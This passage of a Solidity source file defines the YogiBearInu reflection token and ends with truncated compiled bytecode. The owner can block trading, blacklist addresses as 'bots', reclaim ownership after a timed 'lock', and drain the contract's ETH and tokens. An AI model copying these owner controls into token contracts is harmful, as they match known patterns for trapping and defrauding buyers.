Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract YogiBearInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "YogiBearInu"; string private _symbol = "YOGI"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 11; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 990000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 69000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address[] memory botwallet) public onlyOwner { for (uint i = 0; i < botwallet.length; i++) { botWallets[botwallet[i]] = true; } } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(75).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c806360d4848911610175578063a6334231116100dc578063d4a3883f11610095578063e8c4c43c1161006f578063e8c4c43c146108b4578063ea2f0b37146108c9578063edd3b727146108e9578063f2fde38b1461090957600080fd5b8063d4a3883f1461082e578063dd4670641461084e578063dd62ed3e1461086e57600080fd5b8063a633423114610799578063a69df4b5146107ae578063a9059cbb146107c3578063b6c52324146107e3578063c49b9a80146107f8578063d12a76881461081857600080fd5b80637d1db4a51161012e5780637d1db4a5146106d757806388f82020146106ed5780638ba4cc3c146107265780638da5cb5b1461074657806395d89b4114610764578063a457c2d71461077957600080fd5b806360d48489146106135780636bc87c3a1461064c57806370a0823114610662578063715018a61461068257806375f0a87414610697578063764d72bf146106b757600080fd5b8063395093511161021957806348c54b9d116101d257806348c54b9d1461053257806349bd5a5e146105475780634a74bb021461057b57806352390c021461059a5780635342acb4146105ba5780635d098b38146105f357600080fd5b8063395093511461047c5780633ae7dc201461049c5780633b124fe7146104bc5780633bd5d173146104d2578063437823ec146104f25780634549b0391461051257600080fd5b806323b872dd1161026b57806323b872dd146103bb57806329e04b4a146103db5780632d838119146103fb5780632f05205c1461041b578063313ce5671461043a5780633685d4191461045c57600080fd5b80630305caff146102be57806306fdde03146102e0578063095ea7b31461030b57806313114a9d1461033b5780631694505e1461035a57806318160ddd146103a657600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102de6102d9366004612bbb565b610929565b005b3480156102ec57600080fd5b506102f561097d565b6040516103029190612bd8565b60405180910390f35b34801561031757600080fd5b5061032b610326366004612c2d565b610a0f565b6040519015158152602001610302565b34801561034757600080fd5b50600d545b604051908152602001610302565b34801561036657600080fd5b5061038e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610302565b3480156103b257600080fd5b50600b5461034c565b3480156103c757600080fd5b5061032b6103d6366004612c59565b610a26565b3480156103e757600080fd5b506102de6103f6366004612c9a565b610a8f565b34801561040757600080fd5b5061034c610416366004612c9a565b610b3d565b34801561042757600080fd5b50600a5461032b90610100900460ff1681565b34801561044657600080fd5b5060115460405160ff9091168152602001610302565b34801561046857600080fd5b506102de610477366004612bbb565b610bc1565b34801561048857600080fd5b5061032b610497366004612c2d565b610d78565b3480156104a857600080fd5b506102de6104b7366004612cb3565b610dae565b3480156104c857600080fd5b5061034c60125481565b3480156104de57600080fd5b506102de6104ed366004612c9a565b610edc565b3480156104fe57600080fd5b506102de61050d366004612bbb565b610fc6565b34801561051e57600080fd5b5061034c61052d366004612cfa565b611014565b34801561053e57600080fd5b506102de6110a1565b34801561055357600080fd5b5061038e7f000000000000000000000000042d758739d31dba0027c6e2f5702bd1d5c7396181565b34801561058757600080fd5b5060165461032b90610100900460ff1681565b3480156105a657600080fd5b506102de6105b5366004612bbb565b611107565b3480156105c657600080fd5b5061032b6105d5366004612bbb565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156105ff57600080fd5b506102de61060e366004612bbb565b61125a565b34801561061f57600080fd5b5061032b61062e366004612bbb565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561065857600080fd5b5061034c60145481565b34801561066e57600080fd5b5061034c61067d366004612bbb565b6112a6565b34801561068e57600080fd5b506102de611305565b3480156106a357600080fd5b50600e5461038e906001600160a01b031681565b3480156106c357600080fd5b506102de6106d2366004612bbb565b611367565b3480156106e357600080fd5b5061034c60175481565b3480156106f957600080fd5b5061032b610708366004612bbb565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561073257600080fd5b506102de610741366004612c2d565b6113c6565b34801561075257600080fd5b506000546001600160a01b031661038e565b34801561077057600080fd5b506102f5611421565b34801561078557600080fd5b5061032b610794366004612c2d565b611430565b3480156107a557600080fd5b506102de61147f565b3480156107ba57600080fd5b506102de6114ba565b3480156107cf57600080fd5b5061032b6107de366004612c2d565b6115c0565b3480156107ef57600080fd5b5060025461034c565b34801561080457600080fd5b506102de610813366004612d1f565b6115cd565b34801561082457600080fd5b5061034c60185481565b34801561083a57600080fd5b506102de610849366004612d88565b61164b565b34801561085a57600080fd5b506102de610869366004612c9a565b61173e565b34801561087a57600080fd5b5061034c610889366004612cb3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108c057600080fd5b506102de6117c3565b3480156108d557600080fd5b506102de6108e4366004612bbb56